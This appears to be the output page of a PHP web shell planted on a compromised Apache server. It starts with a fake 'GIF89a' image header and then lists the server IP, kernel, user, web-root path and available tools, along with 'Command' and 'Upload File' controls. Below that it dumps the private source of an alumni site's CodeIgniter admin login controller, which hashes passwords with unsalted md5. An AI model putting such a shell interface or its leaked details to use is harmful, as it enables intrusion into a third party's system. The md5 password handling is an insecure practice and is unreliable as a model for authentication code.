GIF89a;
Server IP : 172.26.0.195 / Your IP : 3.133.152.26 Web Server : Apache System : Linux 43-205-77-33.cprapid.com 3.10.0-1160.119.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Jul 15 12:09:18 UTC 2024 x86_64 User : jnclnmuac ( 1026) PHP Version : 8.0.30 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/jnclnmuac/public_html/web/../web/../alumni/application/controllers/admin/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<?php /** * Description of User * * @author Softpro India Pvt. Ltd. */ class Authentication extends CI_Controller { public function __construct() { parent::__construct(); $this->load->library("form_validation"); $this->load->model("admin/AuthenticationManagement"); $this->load->model("admin/AdminManagement"); $this->load->model("admin/BranchManagement"); } public function index() { if ($this->sessionvalidator->validateSession()) { redirect("admin/Dashboard"); } else { $this->load->view("admin/login"); } } public function authLogin() { $this->form_validation->set_rules("username", "username", "required", array("required" => "Enter Your Username.")); $this->form_validation->set_rules("password", "password", "required", array("required" => "Enter Your Password.")); if ($this->form_validation->run() == false) { $this->index(); } else { $username = $this->input->post("username"); $password = $this->input->post("password"); $enc_password = md5("$password"); $validUser = $this->AuthenticationManagement->authenticateAdmin($username, $enc_password)->result(); $branch = $this->BranchManagement->getAllBranches()->result(); if (sizeof($validUser) > 0) { if ($validUser[0]->admin_status == "t") { $adminData = array( "admin_userid" => $validUser[0]->admin_userid, "admin_name" => $validUser[0]->admin_name, "admin_id" => $validUser[0]->admin_id, "admin_role" => $validUser[0]->admin_role, "admin_login_status" => $validUser[0]->admin_login_status, "isLoggedIn" => true, ); if (sizeof($branch)) { $br = $branch[0]; $branchData = array( 'branch_id' => $br->branch_id, 'branch_name' => $br->branch_name, 'branch_short_name' => $br->branch_short_name, 'branch_email' => $br->branch_email, 'branch_mobile' => $br->branch_mobile_no, 'branch_tel' => $br->branch_tel_no, 'branch_fax' => $br->branch_fax, 'branch_website' => $br->branch_website_url ); $this->session->set_userdata("branchData", $branchData); } $this->session->set_userdata("alumni_admin_data", $adminData); redirect("admin/Dashboard"); } else { $this->session->set_flashdata("errorMessage", "You are temporarily locked."); $this->index(); } } else { $this->session->set_flashdata("errorMessage", "Wrong credentials."); $this->index(); } } } public function authLogout() { $this->session->unset_userdata('alumni_admin_data'); redirect("admin/"); } public function changePassword() { $this->load->view("admin/changePassword"); } public function setChangedPassword() { if ($this->sessionvalidator->validateSession()) { $this->form_validation->set_rules("currentPassword", "current password", "required", array("required" => "Enter Current Password.")); $this->form_validation->set_rules("newPassword", "new password", "required", array("required" => "Enter New Password")); $this->form_validation->set_rules("confirmNewPassword", "confirm new password", "required|matches[newPassword]", array("required" => "Re-enter New Password")); $admin_id = $this->session->userdata("alumni_admin_data")["admin_id"]; $currentPassword = $this->input->post("currentPassword"); $newPassword = $this->input->post("newPassword"); $confirmNewPassword = $this->input->post("confirmNewPassword"); if ($this->form_validation->run() == false) { $this->changePassword(); } else if (sizeof($this->AdminManagement->getAdmin($admin_id, md5($currentPassword))->result()) <= 0) { $this->session->set_flashdata("errorMessage", "Enter Correct Current Password."); $this->changePassword(); } else { if (!(strtolower($currentPassword) == strtolower($newPassword))) { $enc_new_password = md5($newPassword); $adminData = array("admin_id" => $this->session->userdata("alumni_admin_data")["admin_id"], "admin_password" => $enc_new_password); if ($this->AdminManagement->updateAdmin($adminData)) { $this->session->set_flashdata("successMessage", "Password Changed Successfully."); $this->changePassword(); } else { $this->session->set_flashdata("errorMessage", "Failed To Change Password."); $this->changePassword(); } } else { $this->session->set_flashdata("errorMessage", "New Password Can't Be Same As Old Password."); $this->changePassword(); } } } else { $this->load->view("admin/login"); } } }